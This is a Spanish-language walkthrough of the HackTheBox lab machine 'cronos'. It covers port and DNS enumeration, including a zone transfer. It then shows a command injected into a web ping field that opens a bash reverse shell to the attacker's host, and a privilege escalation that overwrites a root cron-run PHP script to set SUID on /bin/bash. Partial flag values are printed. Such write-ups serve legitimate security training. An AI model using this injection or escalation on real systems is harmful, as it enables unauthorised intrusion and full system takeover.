HTB cronos
¡Hola!
En esta ocasión vamos a resolver de la máquina cronos
de HackTheBox.
La máquina es nivel “Medium”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!
PREPARACIÓN
Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre cronos
y los subdirectorios recon
junto con exploit
, con el objetivo de organizar la información que recopilemos en la realización de la máquina.
mkhack cronos
cd !$/recon
RECONOCIMIENTO
Accedemos al directorio recon
e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl
time to live de una traza ICMP.
osping 10.10.10.13
[*] Detectando sistema operativo ...
[+] 10.10.10.13 ttl=63 >> Linux
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.13 -oG ports | grep open
#Resultados
22/tcp open ssh
53/tcp open domain
80/tcp open http
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.
nmap -p22,53,80 -sCV 10.10.10.13 -oG versions
#Resultados
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
RECONOCIMIENTO WEB
Iniciamos con el reconocimiento del puerto 80
por medio de la utilidad whatweb
para identificar software que sea potencialmente vulnerable o de utilidad para nosotros.
whatweb 10.10.10.13
#Resultados
http://10.10.10.13 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.13], Title[Apache2 Ubuntu Default Page: It works]
Realizamos un descubrimiento con nslookup
para identificar DNS
asociados a la dirección IP.
nslookup
> server 10.10.10.13
Default server: 10.10.10.13
Address: 10.10.10.13#53
> 10.10.10.13
13.10.10.10.in-addr.arpa name = ns1.cronos.htb.
Podemos evidenciar el DNS
cronos.htb
, por lo que vamos a agregar en el ficheros /etc/hosts
esta información.
sudo vim /etc/hosts
#AGREGAR
10.10.10.13 cronos.htb
Ya podemos evidenciar un poco más de información en la pagina web, sin embargo vamos a hacer uso de la utilidad dig
, para identificar subdominios de nuestro objetivo.
dig @10.10.10.13 cronos.htb axfr
#RESULTADOS
; <<>> DiG 9.16.15-Debian <<>> @10.10.10.13 cronos.htb axfr
; (1 server found)
;; global options: +cmd
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
Vamos a realizar el mismo procedimiento anterior, pero esta vez vamos a agregar el subdominio admin.cronos.htb
.
sudo vim /etc/hosts
#AGREGAR
10.10.10.13 cronos.htb admin.cronos.htb
WEB EXPLOIT + INTRUSION
Ahora que tenemos dominios y subdominios, procedemos a investigar un poco y encontramos un portal de acceso en el subdominio admin.cronos.htb
al cual intentamos realizar un ataque SQLi
exitoso.
Al acceder podemos ver que podemos ejecutar el comando traceroute o ping a un objetivo especifico, por lo que vamos a tomar provecho de esta funcionalidad para ejecutar una reverse shell en bash.
Generamos un listener
nc -lnvp 4564
Ejecutamos la reverse shell en el campo de la pagina web y le damos enter para que ejecute el comando.
8.8.8.8; bash -c "bash -i >& /dev/tcp/10.10.14.2/4564 0>&1"
Reverse shell obtenida
#OUTPUT
www-data@cronos:/var/www/admin$ whoami
www-data
ESCALADA DE PRIVILEGIOS
Una vez que tenemos acceso a la máquina, realizamos el escalamiento de privilegios, en este caso, revisando las tareas cron
.
cat /etc/crobtab
#Resultados
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
Como podemos ver en los resultados anteriores, identificamos que artisan
es una tarea que se ejecuta cada minuto con el usuario root, hay que tener en cuenta que tenemos acceso directamente a la ruta donde se ejecuta este script de php, por lo que simplemente vamos a eliminar el archivo artisan
y generar uno nuevo habilitando con la funcion system
el permiso SUID
de bash
, para finalmente aprovecharnos de este permiso configurado y obtener una shell de un usuario administrador.
Eliminar el archivo artisan
rm /var/www/laravel/artisan
Crear el nuevo archivo artisan
nano /var/www/laravel/artisan
<?php
system("chmod u+s /bin/bash");
?>
Monitoreo del permiso SUID
de /bin/bash
www-data@cronos:/dev/shm$ watch -n 1 ls -la /bin/bash
-rwxr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash -> SIN SUID
-rwsr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash -> CON SUID
Aprovechando el permiso SUID
www-data@cronos:/dev/shm$ bash -p
#Resultados
bash-4.3# whoami
root
FLAGS
Una vez tenemos acceso a la máquina, tenemos la posibilidad de leer la flag user
y root
#USER
bash-4.3# find / -name user.txt 2>/dev/null | xargs head -c 10; echo
6394a949f7
#ROOT
bash-4.3# find / -name root.txt 2>/dev/null | xargs head -c 10; echo
4491f4cbdd
¡Hemos logrado completar la máquina cronos
de HackTheBox!
¡Que tengan un buen día en el planeta donde se encuentren!
Nos vemos en otro bit..